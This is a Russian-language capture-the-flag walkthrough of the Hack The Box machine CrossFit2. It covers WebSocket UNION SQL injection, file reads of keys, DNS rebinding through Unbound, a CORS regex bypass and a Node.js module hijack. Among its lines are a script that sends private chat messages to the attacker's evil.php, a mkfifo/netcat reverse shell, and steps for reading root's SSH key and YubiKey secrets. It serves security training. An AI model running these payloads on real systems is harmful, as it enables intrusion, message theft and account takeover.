В сегодняшней статье мы атакуем DNS rebinding, попытаемся разобраться с технологией WebSocket, попользуем уязвимость в приложении на Node.js а так же поработаем с технологией UNION SQL Injection. Разберем как войти на хост с помощью YubiKey. Все это позволит нам осуществить захват машины сложности Insane с площадки Hack The Box.
Разведка
Адрес машины — 10.10.10.232, добавляем его в /
как crossfit2.
и приступаем к сканированию портов.
Сканирование портов
Сканирование портов — типичная 1-я подвижка в любой атаке. В итоге злоумышленник узнает, какие службы на хосте принимают соединение. Данные сведения дают возможность вам выбрать другой путь к точке входа.
Наиболее признанный механизм сканирования — Nmap. Результаты его работы улучшаем с помощью следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Скрипт функционирует в 2 стадии. Первая — это обычное быстрое сканирование, вторая — более глубокое сканирование с использованием существующих скриптов для Nmap (опция -A).
Получаем следующие результаты.
Работа скрипта
Как видим, мы имеем три открытых порта:
- 22 — служба OpenSSH 8.4;
- 80 — веб‑сервер OpenBSD httpd PHP/7.4.12;
- 8953 — служба Unbound.
Первым делом стоит заглянуть на доступный сайт.
Главная страница сайта
Сканирование веб-контента
Дабы ничего никак не осталось необнаруженным, мы будем собирать информацию на сайте через Прокси. В заголовке страницы мы находим навигацию, а также определяем, что последняя ссылка ведет на другой поддомен: worker.crossfit.htb. Добавьте его в файл / etc / hosts
, а также измените запись, которая у нас естьcrossfit2.
на crossfit.
.
10.10.10.232 crossfit.htb employees.crossfit.htb
На самом веб-сайте нас принимает форма авторизации, больше ничего там искать не будем. Поскольку все наши действия привязаны к Burp, давайте взглянем на историю Burp. Там мы обнаружим, что при доступе к главной странице делается запрос для другого поддомена.
Burp History
Добавим этот поддомен в файл /
и повторим запрос к главной странице. Затем отправимся в Burp и проверим ответ, который вернул сервер при запросе к новому поддомену.
10.10.10.232 crossfit.htb employees.crossfit.htb gym.crossfit.htb
В ответе видим оповещение о смене протокола на WebSocket.
ТОЧКА ВХОДА
WebSocket
WebSocket — это протокол связи через TCP-соединение с целью обмена информацией между браузером и веб-сервером в реальном времени. WebSocket особенно подходит для сервисов, требующих постоянного обмена данными, таких как онлайн-игры, торговые площадки, чаты.
После окончания установления соединений, больше нет разделения на клиент и сервер, а есть два участника с равными правами в обмене данными. Каждый работает на себя и при необходимости передает данные другому.
Чтобы просмотреть сообщения по протоколу WebSocket, перейдем в историю Burp WebSocket. Там мы находим одно сообщение, содержимое которого будет содержать приветствие, информацию о команде помощи и своего рода токен.
Burp WebSocket History
Работать с WebSocket будет удобно с помощью интерактивной консоли. Ее несложно организовать при помощи Python 3 и модуля websockets
.
python3 -m websockets ws://gym.crossfit.htb/ws/
Соединение WebSockets
После успешного подключениямы тут же приняли знакомое уведомление. Попробуем получить помощь. Сообщение с командой также должно быть отправлено в формате JSON.
{"command":"help"}
Запрос справки
В результат нам уведомляют об неверном токене, поэтому мы повторяем отправку, но включаем новый параметр.
{"command":"help","token": "29a20a82768c1531e28fe18a519a59fbe986801ebdcd543920dbe3bdaa8c20d9"}
Повторный запрос справки
Наше извещение остается без реакции, и уже после повторной отправки нам обычно сообщают, что токен больше не действителен, и предоставляется новый токен. Поищем код, отвечающий за отправку сообщений. В панели браузера перейдите на вкладку «Отладка» и найдите ws.min.js.
Повторный запрос справки
В коде находим отправку сообщения в параметре message
и токена — в параметре token
. Отправляем свое сообщение в аналогичном формате.
{"message":"help","token":"cdfc745eb97670fb768678a2fbe3d37eabd307dac630720392892e5525ad87f8"}
Повторный запрос справки
Ну вот и пришел ответ, из которого мы узнаем о доступных командах: coaches, classes и memberships.
Отправим полностью 3 команды и внимательно посмотрим на ответ сервера.
coaches
classes
memberships
В абсолютно всех вариантах нам вернули HTML-код страницы. В первой версии мы получаем информацию только о трейнерах, во второй — список классов, но в ответ на команду принадлежности вместе со списком приходит выбор вариантов. Он реализован как функция check_availability
, которой передается число от 1 до 4. Посмотрим код этой функции в уже знакомом файле ws.min.js.
Код функции check_availability
Функция отправляет три параметра:
message
— содержит строкуavailable
;params
— число, переданное в функцию;token
.
{"message":"available","params":"1","token":"6775bfe48d278f7a5bc90dcb6c0e9b47e8cfcfa266
Отправка сообщения available
В данном сообщении я отослал четыре параметра и получил два разных варианта ответа: успешно и нет. Мы также получаем объяснение в параметре отладки. То есть мы отправляем параметр, который система обрабатывает и выдает результат, а значит это место для тестирования.
Дальше я написал скрипт на Python 3, который в цикле запрашивает параметр.
#!/usr/bin/python3
import json
from websocket import create_connection
def send_command(ws, token):
inp = input(">")
ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}')
req = ws.recv()
token = json.loads(req)['token']
print(req)
return token
ws = create_connection("ws://gym.crossfit.htb/ws/")
req = ws.recv()
token = json.loads(req)['token']
for _ in range(100):
token = send_command(ws, token)
SQL Injection
Поскольку ответ выбирается на основе отправленного параметра, первое, что я решил сделать, это протестировать SQL-инъекцию. К счастью, я регулярно составляю словари для тестирования и нужный есть под рукой. Чтобы использовать это, давайте несколько подправим код
#!/usr/bin/python3
import json
import time
from websocket import create_connection
def send_command(ws, token):
inp = input("> ")
ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}')
req = ws.recv()
token = json.loads(req)['token']
print(req)
return token
def send_command2(ws, token, inp):
print("input: <" + inp + ">")
ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}')
req = ws.recv()
token = json.loads(req)['token']
print(req)
return token
ws = create_connection("ws://gym.crossfit.htb/ws/")
req = ws.recv()
token = json.loads(req)['token']
with open('/home/ralf/tmp/wordlists/SQL/1.check_sqli.txt', 'r') as f:
wordlist = f.read().split('\n')[:-1]
for w in wordlist:
token = send_command2(ws, token, w)
1
иand 1 1
вернет действительный ответ;and true 1
иand 0 1
вернет наш ввод;and false 1
вернет действительный ответ.-- -
Я обнаружил уязвимость, и теперь ее нужно использовать. В первую очередь найдем нагрузки для работы, потом поменяем словарь и повторим выполнение скрипта.
Результат работы скрипта
Результат работы скрипта (продолжение)
Результатом является реакция на нагрузки UNION. При отправке -1 UNION ALL SELECT 1,2 # мы получаем ответ, параметр name которого содержит 2, а при отправке -1 UNION ALL SELECT USER (), SLEEP (5) — параметр ID объекта ответа содержит имя пользователь базы данных … Эта уязвимость называется UNION SQL Injection и позволяет добавлять столбцы таблицы в выделенные области, которые ранее были для нас невидимы.
Вернемся к последним двум строкам нашего оригинального скрипта для ручной работы и приступим к эксплуатации.
for _ in range(100):
token = send_command(ws, token)
Первым делом получим версию базы данных.
-1 UNION ALL SELECT 1,@@version #
Версия базы данных
MySQL работает на хосте, поэтому мы продолжим использовать ее синтаксис. Получим названия всех доступных баз данных. Мы можем напечатать только одну строку, поэтому мы используем функцию GROUP_CONCAT для объединения нескольких строк в одну с пробелом в качестве разделителя.
-1 UNION ALL SELECT 1,GROUP_CONCAT(schema_name, ' ') FROM information_schema.schemata
Список имен баз
База information_schema — это служебная база, поэтому она нам не интересна. Давайте узнаем привилегии нашего пользователя в других базах данных.
-1 UNION ALL SELECT 1,GROUP_CONCAT(grantee, ' ', table_schema,' ', privilege_type, '\n') F
Польовательсие привилегии для баз
Мы можем экспериментировать равно как с сrossfit, так и с базой employees. Для начала выясним названия таблиц.
-1 UNION ALL SELECT 1,GROUP_CONCAT('\n', table_schema, ': ',table_name) FROM infor
Таблицы в базах crossfit и employees
В базе данных сrossfit не было ничего интересного, таблица password_reset давала надежду, но она была пуста.
Получим названия столбцов в таблице employees
.
-1 UNION ALL SELECT 1,GROUP_CONCAT('\n', column_name) FROM information_schema.columns WHERE table_name = 'employees' #
Столбцы в таблице employees
Мы можем получить учетные данные для сайта. Запросим имена, пароли и адреса электронной почты.
-1 UNION ALL SELECT 1,GROUP_CONCAT('\n', username, ' ', password, ' ', email) FROM
У нас есть четыре пользователя и хеши от их паролей. С помощью утилиты hashid определим тип хешей.
Результат работы hashid
Скорее всего, хеш-код будет SHA-256 из-за его популярности, но сломать хэши и авторизоваться на сайте не получилось. Найти хотя бы один из прообразов хэша ни в онлайн-базах, ни с помощью локального поиска не удалось. Итак, давайте посмотрим, какие еще привилегии есть у нашего пользователя базы данных.
-1 UNION ALL SELECT 1,GROUP_CONCAT('\n', grantee, ' ', privilege_type) FROM information_
Привилегии пользователя базы данных
Мы можем читать файлы на хосте! Первым делом, конечно же, прочитаем /
.
-1 UNION ALL SELECT 1,LOAD_FILE('/etc/passwd') #
Мы находим пользователей node, david и john, у которых есть возможность войти в систему. А поскольку мы имеем дело с OpenBSD, в этом файле также отражены абсолютно все сервисы. Изучив этот список, мы отмечаем демона relayd, который может давать нам новые адреса, и unbound, поскольку он имеет доступ к внешнему порту 8953. Сначала давайте посмотрим настройки реле, прочитав файл /etc/relayd.conf.
-1 UNION ALL SELECT 1,LOAD_FILE('/etc/relayd.conf') #
файл /etc/relayd.conf
Таким образом мы находим еще 1 домен, crossfit-club.htb, который добавляем в файл / etc / hosts.
Заглянем на одноименный сайт, который встречает нас с формой авторизации.
Форма входа
Поскольку мы все еще отправляем запросы через Burp Proxy, это помогает нам определять подключение определенных API, на что указывает вызов / api / auth.
Burp History
При попытке авторизации с тестовыми учетными данными мы находим другую страницу, которая работает с форматом JSON.
Выполнение запроса на авторизацию
Кроме того, на сайте есть регистрационная форма. Кнопка в ней может быть отключена, но мы все равно можем попробовать авторизоваться — используя Burp Repeater. Получим имена переменных из исходного кода страницы и отправим тестовые данные в / api / signup. Но в ответ нам сообщат, что эта функция доступна только администратору.
Форма регистрации
Выполнение запроса на регистрацию
Продолжаем движение.
ТОЧКА ОПОРЫ
Unbound
Теперь перейдем к Unbound. Unbound — это кеширующий DNS-сервер, который обслуживает исключительно рекурсивные запросы. Во время работы сервера кеш целиком располагается в памяти, а его размер ограничен указанным объемом. Из файла /etc/passwd
мы узнали домашнюю директорию Unbound — /var/unbound. Первым делом просмотрим конфигурации /var/unbound/etc/unbound.conf.
-1 UNION ALL SELECT 1,LOAD_FILE('/var/unbound/etc/unbound.conf') #
файл unbound.conf
В конфигурации находится опция удаленной настройки, которая позволит нам настроить DNS-сервер. В этом же файле находим пути к ключам, необходимым для взаимодействия, которые мы прочитаем и сохраним на локальном хосте.
/var/unbound/db/root.key
/var/unbound/etc/tls/unbound_server.key
/var/unbound/etc/tls/unbound_server.pem
/var/unbound/etc/tls/unbound_control.key
/var/unbound/etc/tls/unbound_control.pem
Конфигурация Unbound
Порт на сервере открыт, удаленный контроль активен, ключи у нас есть. Давайте попробуем установить взаимодействие, для этого сначала установим Unbound.
sudo apt install unbound
Далее после установки скопируем полученные файлы ключей в каталог / etc / unbound /,
а сам сервис настроим как на сервере. Файл /etc/unbound/unbound.conf
должен содержать параметр удаленного управления:
remote-control:
control-enable: yes
control-interface: 0.0.0.0
control-use-cert: yes
server-key-file: "/etc/unbound/unbound_server.key"
server-cert-file: "/etc/unbound/unbound_server.pem"
control-key-file: "/etc/unbound/unbound_control.key"
control-cert-file: "/etc/unbound/unbound_control.pem"
Теперь проверим подключение к службе Unbound удаленного хоста с помощью unbound-control
.
sudo unbound-control -c /etc/unbound/unbound.conf -s 10.10.10.232@8953 status
Подключение к службе Unbound
DNS rebinding
DNS rebinding — это атака, при которой вредоносная веб-страница вынуждает браузер пользователя запускать сценарий, который обращается к другим сайтам и службам. Теоретически правила ограничения домена (Same Origin Policy) препятствуют подобным запускам: клиентские скрипты могут получать доступ к данным только со страницы, с которой был получен скрипт. Во время применения политики браузер сравнивает доменные имена, но повторная атака обходит эту защиту, злоупотребляя способностью DNS быстро менять адреса.
Дело в том, что злоумышленник регистрирует домен и контролирует обслуживающий его DNS-сервер. DNS-сервер настроен так, что его ответы содержат очень короткий TTL, что не позволяет клиенту или преобразователю кэшировать ответ. Когда жертва начинает просматривать вредоносный домен, DNS-сервер злоумышленника сначала возвращает реальный IP-адрес веб-сервера, который доставит вредоносный код клиенту. Затем вредоносный код на стороне клиента выполняет дальнейшие вызовы исходного доменного имени. Сама политика происхождения допускает такие запросы. Однако во время выполнения скрипта в браузере жертвы из-за устаревания предыдущего DNS-ответа для этого домена делается новый DNS-запрос, который отправляется на DNS-сервер злоумышленника.
Поскольку домен указывается в настройках релея с использованием маски * employee.crossfit.htb, мы можем зарегистрировать собственный домен, например ralfemployees.crossfit.htb. Мы также добавим наш домен в файл / etc / hosts.
А теперь мы указываем перенаправление DNS для нашего хоста, чтобы при поступлении запроса на домен ralfemployees.crossfit.htb на сервер он запрашивал соответствующий адрес у нашего DNS-сервера.
unbound-control -c /etc/unbound/unbound.conf -s 10.10.10.232@8953 forward_add +i ralfemployees.crossfit.htb. 10.10.14.117@53
Настройка Unbound
Итак настройки работают, осталось разобраться с локальным DNS сервером. Таким образом, мы можем использовать облегченную утилиту dnschef, которая уже предустановлена в некоторых боевых дистрибутивах, таких как Kali Linux. Мы указываем интерфейс (опция -i), наш домен (—fakedomains) и адрес, который будет ему соответствовать (—fakeip).
dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 10.10.14.117
Запрос смены пароля
Все обращения с ralfemployees.crossfit.htb теперь должны вести на наш локальный веб-сервер. Чтобы проверить это, запустите прослушиватель на порту 80 (используйте netcat — nc -lvp 80) и запустите запрос на смену пароля, но на нашем виртуальном хосте. Но сервер ответит, что эта услуга доступна только для локального хоста. Затем вернем адрес 127.0.0.1 и повторно запустим запрос.
dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 127.0.0.1
Логи dnschef
Запрос смены пароля
В результате видим, что запрос выполнен успешно, а в окне журнала dnschef мы видим две записи, то есть есть два запроса. Теперь давайте выполним атаку DNS rebinding. Для этого мы пишем сценарий, который перезапускает dnschef после двух вызовов, чтобы он указывал на наш, а не на локальный адрес с новыми настройками. В этом случае после запуска мы выполняем запрос на смену пароля, чтобы следующий запрос от другого пользователя был получен на нашем сервере.
#!/bin/bash
count=0
dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 127.0.0.1 2>&1 | while read line
do
case "$line" in *response*) (( count++ ))
echo "Request $count"
[[ "$count" -gt 1 ]] && pkill -f dnschef
esac
done
dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 10.10.14.117
curl -s -X "POST" -H "Host: ralfemployees.crossfit.htb" -H "Content-Type: application/x-www-form-urlencoded" -d "email=david.palmer%40crossfit.htb" "http://10.10.10.232/password-reset.php"
password-reset.php,
содержащий код JavaScript. Этот код выполнит запрос к http: //crossfit-club.htb/api/auth, получит токен от сервера и сделает еще один запрос на создание пользователя в чате (эта функция была у нас недоступна).<html>
<script>
var xhr = new XMLHttpRequest();
const url = "http://crossfit-club.htb/api/auth";
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
var obj = JSON.parse(xhr.response);
var xhr2 = new XMLHttpRequest();
xhr2.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr2.setRequestHeader("X-CSRF-TOKEN", obj.token);
const data = JSON.stringify({ "username" : "ralf2", "password" : "ralf2", "confirm" : "ralf2", "email" : "ralf2@ralf.htb" });
xhr2.withCredentials = true;
xhr2.send(data);
}
}
xhr.open("GET", url);
xhr.withCredentials = true;
xhr.send();
</script>
</html>
sudo service apache2 start
и поместим сценарий в каталог / var / www / html /
веб-сервера. Затем мы повторяем нашу атаку и после появления подсказок в окне dnschef смотрим логи Apache в файле /var/log/apache2/access.log.
CORS
CORS (Cross-Origin Resource Sharing) — это механизм, который сообщает браузеру, какие внешние ресурсы можно использовать при загрузке веб-страницы. Чтобы это работало, ответ стороннего сервера должен содержать допустимый заголовок CORS. Давайте отправим тестовые сообщения с разными значениями этого заголовка, чтобы определить «хорошие» домены, которые передают запрос.
crossfit-club.htb
employees.crossfit.htb
gym.crossfit.htb
ralfemployees.crossfit.htb
Почти во всех ответах мы видим совпадающие домены в заголовке Access-Control-Allow-Origin. Исключение составляет наш ralfemployees.crossfit.htb. Поэтому запрос был заблокирован. То же самое произошло с нашим поддельным запросом, который должен был создать пользователя.
Довольно-таки нередко в том числе и отличные технологии содержат уязвимости из-за ошибки человеа. Например, разработчик мог не экранировать определенные символы при настройке CORS. Если символ точки указан в файле конфигурации без обратной косой черты, то вместо разделителя домена мы получаем регулярное выражение, которое соответствует любому символу. Проверим это, заменив точку на букву.
gymRcrossfit.htb
Запрос прошел, значит, адрес http://
не заблокирован.
Мы можем использовать это, создав соответствующий домен. Просто изменим ralfemployees
на gymRcrossfit.
Правим скрипт fake_dns.
.
#!/bin/bash
count=0
dnschef -i 10.10.14.117 --fakedomains gymRcrossfit.htb --fakeip 127.0.0.1 2>&1 | while read line
do
case "$line" in *response*) (( count++ ))
echo "Request $count"
[[ "$count" -gt 1 ]] && pkill -f dnschef
esac
done
dnschef -i 10.10.14.117 --fakedomains gymRcrossfit.htb --fakeip 10.10.14.117
Затем переконфигурируем Unbound:
unbound-control -c /etc/unbound/unbound.conf -s 10.10.10.232@8953 forward_add +i gymRcrossfit.htb. 10.10.14.117@53
И повторяем атаку. Нам нужно, чтобы оригинальный домен присутствовал в заголовке HOST, поэтому укажем его в качестве пути после нашего домена.
curl -s -X "POST" -H "Host: gymRcrossfit.htb/employees.crossfit.htb" -H "Content-Type: application/x-www-form-urlencoded" -d "email=david.palmer%40crossfit.htb" "http://10.10.10.232/password-reset.php"
Спустя две‑три минуты в логах Apache увидим запрос, а затем успешно авторизуемся на атакуемом сайте.
Главная страница сайта
На сайте иметься в наличии чат. Спустя несколько секунд мы начинаем получать сообщения в нем.
Главная панель чата
Сообщения в глобальном чате
Просматривая запросы в Burp, видим, что используется технология socket.
.
Запросы в Burp History
Но запрос на подключение к чату намного интересней
Параметры для добавления к чату
Воможно ли войти как администратор? То есть повторить атаку, но не для создания пользователя, а для получения сообщений. Включите в код библиотеку socket.io.js и повторите запрос. Полученные данные в кодировке Base64 мы отправим в качестве параметра на нашу страницу. Новый код password-reset.php показан ниже.
<html>
<head>
<script src="http://crossfit-club.htb/socket.io/socket.io.js"></script>
<script>var s = io.connect("http://crossfit-club.htb");
s.emit("user_join", { username : "Admin" });
s.on("private_recv", (d) => {var xhr = new XMLHttpRequest();
xhr.open("GET", "http://10.10.14.117/evil.php?q=" + btoa(JSON.stringify(d)), true);
xhr.send();
});
</script>
</head>
<body></body>
</html>
ПРОДВИЖЕНИЕ
Мы наконец‑то добрались до SSH, но пока лишь в качестве пользователя. Чтобы узнать, куда двигаться дальше, используем скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Чтобы воспользоваться скриптом, его нужно сначала загрузить на локальный хост.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Затем с помощью встроенных средств SSH загружаем скрипт на удаленный хост, назначаем ему права и выполняем.
scp /home/ralf/tmp/tools/linpeas.sh david@crossfit.htb:/tmp/
chmod 777 /tmp/linpeas.sh
/tmp/linpeas.sh
sysadmins
, в которой мы состоим, доступна директория / opt/ sysadmins
.Во‑вторых, в списке недавно модифицированных файлов отмечен какой‑то лог /
.
Список недавно модифицированных файлов
В этом логе находим информацию о том, что каждую минуту запускается бот.
Содержимое файла /tmp/chatbot.log
А из содержимого каталога /
узнаем, что это за бот.
Содержимое каталога /opt/sysadmin
Бот устанавливает соединение WebSocket и записывает результат в лог.
Самое интересное в этом файле — подключение самописного модуля log-to-file
.
const logger = require('log-to-file');
Node.js
Обычным поиском по файловой системе ищем этот модуль и смотрим содержимое.
find / -type d -name 'log-to-file' -ls 2>/dev/null
Поиск каталога log-to-file
Содержимое каталога log-to-file
Все файлы доступны только для чтения, поэтому мы не можем взять их и написать для них код. Но интересен способ подключения каталога log-to-file.
Если идентификатор модуля, переданный в функцию require (),
не является собственным модулем Node.js и не начинается с одной из последовательностей /, ../
или ./,
то Node.js пытается найти каталог / node_modules
в каталоге родительский каталог текущего исполняемого модуля и подключить из него требуемый модуль. Если это не удается, Node.js поднимается еще на один каталог и повторяет процесс. Таким образом, в нашем примере Node.js создает следующую последовательность подключения:
/
opt/ sysadmin/ server/ statbot/ node_modules/ log-to-file /
opt/ sysadmin/ server/ node_modules/ log-to-file /
opt/ sysadmin/ node_modules/ log-to-file /
opt/ node_modules/ log-to-file /
node_modules/ log-to-file
Так как каталог /
доступен для записи, мы можем создать в нем структуру каталогов /
, где поместим свой вредоносный код, к примеру реверс‑шелл:
require("child_process").exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.117 4321 >/tmp/f");
Справка: реверс-шелл
Обратный шелл — это соединение, которое активирует атакованный компьютер, а мы принимаем его и, таким образом, подключаемся к нему, чтобы выполнять команды от имени пользователя, запустившего шелл. Чтобы получить соединение, вы должны создать listener на локальной машине, то есть «слушателя».
В этих случаях рационально применять rlwrap, оболочку readline, которая, помимо прочего, позволяет использовать историю команд. Обычно он доступен в репозитории дистрибутива.
apt install rlwrap
В качестве самого листенера при этом можно использовать широко известный netcat.
rlwrap nc -lvp [port]
Выполняем указанные выше действия и в течение минуты получим бэкконнект.
mkdir /opt/sysadmin/node_modules
cp -R /usr/local/lib/node_modules/log-to-file /opt/sysadmin/node_modules/
rm /opt/sysadmin/node_modules/log-to-file/app.js
echo 'require("child_process").exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.117 4321 >/tmp/f");' > /opt/sysadmin/node_modules/log-to-file/app.js
Бэкконнект в окне netcat
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Поскольку контекст также изменился со сменой пользователя, стоит еще раз проверить систему на предмет способов повышения привилегий. После перезапуска LinPeas мы найдем приложение / usr / local / bin / log, в котором установлены биты SUID и SGID. А поскольку его владельцем является root, это приложение будет работать в контексте с высокими привилегиями.
Приложения с установленным SGID
После запуска приложения выясняем, что достаточно в качестве параметра указать путь к файлу.
Запуск /usr/local/bin/log
Теперь понятно что мы можем читать любой файл в системе. Но вопрос в том, какой файл читать, учитывая, что мы работаем в OpenBSD. Конечно, вы можете узнать корневой файл и передать флаг, но наша задача — получить контроль. Не удалось прочитать ключ SSH, потому что такого файла не было.
Вывод LinPeas также содержит каталог с резервными копиями бэкапов, доступ к которому может получить только root. Таким образом мы можем прочитать любой сохраненный файл.
Для того чтобы выяснить, какие файлы были скопированы в OpenBSD, мы можем посмотреть содержимое / etc / changelist.
Сдесь мы найдем ключ SSH пользователя root.
При резервном копировании имена файлов создаются на основе их полного пути, а косая черта заменяется подчеркиванием. В результирующую строку добавляется расширение .current
. Таким образом, файл /root/.ssh/id_rsa
будет сохранен как root_.ssh_id_rsa.current.
/usr/local/bin/log /var/backups/root_.ssh_id_rsa.current
Чтение резервной копии файла ключа
К моему большому огорчению, войти в систему с этим ключом не удалось, так как был запрошен пароль.
Подключение по SSH
Обратим внимание на настройки SSH и конфигурацию входа в систему. Из файла / etc / ssh / sshd_config
мы узнаем, что для рутирования требуются как ключ, так и пароль. И на основе содержимого файла /etc/login.conf
мы определяем, что SSH требует YubiKey.
Содержимое файла sshd_config
Содержимое файла login.conf
YubiKey — это аппаратный ключ безопасности, производимый Yubico. Он использует универсальный протокол двухфакторной аутентификации, одноразовые пароли и асимметричное шифрование. YubiKeys используют алгоритмы HOTP и TOTP, имитируя клавиатуру с использованием протокола USB HID.
В OpenBSD имеется встроенная поддержка входа в систему YubiKey. Аутентификация YubiKey не заменяет аутентификацию по паролю, но выполняет как аутентификацию по паролю, так и аутентификацию YubiKey. Но в нашем случае с SSH — по ключу и OTP YubiKey. Для работы с YubiKey без аппаратного ключа также можно использовать низкоуровневый программный пакет yubico-c, который можно скачать с сайта производителя. После скачивания нужно выполнить сборку.
sudo apt install asciidoc-base dh-autoreconf
./configure
make check
sudo make install
/var/db/ybikey/$user.key,
где $ user — целевой пользователь. В случае пользователя root нам понадобятся файлы- root.key — AES-ключ;
- root.uid — идентификатор;
- root.ctr — счетчик.
/usr/local/bin/log /var/db/yubikey/root.key
/usr/local/bin/log /var/db/yubikey/root.uid
/usr/local/bin/log /var/db/yubikey/root.ctr
Теперь мы можем получить OTP:
./ykgenerate 6bf9a26475388ce998988b67eaa2ea87 a4ce1128bde4 0f08 c0a8 00 02
Итог